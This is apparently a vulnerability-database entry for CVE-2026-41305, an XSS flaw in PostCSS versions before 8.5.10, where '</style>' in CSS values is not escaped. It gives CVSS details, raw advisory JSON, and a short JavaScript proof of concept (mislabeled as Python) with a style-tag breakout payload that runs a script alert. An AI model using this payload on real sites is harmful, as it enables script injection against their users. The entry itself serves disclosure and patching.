Security Vulnerability Report
中文
CVE-2026-41305 CVSS 6.1 MEDIUM

CVE-2026-41305

Published: 2026-04-24 03:16:12
Last Modified: 2026-04-24 17:16:22

Description

PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PostCSS < 8.5.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-41305 PostCSS XSS // Requires PostCSS < 8.5.10 const postcss = require('postcss'); // Malicious CSS input attempting to break out of style tag const maliciousCss = ` body { background: url('</style><script>alert("CVE-2026-41305")</script>'); } `; // 1. Parse the malicious CSS const root = postcss.parse(maliciousCss); // 2. Stringify the AST back to CSS string const output = root.toString(); console.log('Generated CSS:'); console.log(output); // 3. Simulate embedding in HTML // If the output is placed here: <style> ${output} </style> // The browser will interpret it as: // <style> body { background: url('</style><script>alert("CVE-2026-41305")</script>'); } </style> // Resulting in XSS execution.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41305", "sourceIdentifier": "[email protected]", "published": "2026-04-24T03:16:11.547", "lastModified": "2026-04-24T17:16:21.500", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/postcss/postcss/releases/tag/8.5.10", "source": "[email protected]"}, {"url": "https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93", "source": "[email protected]"}, {"url": "https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}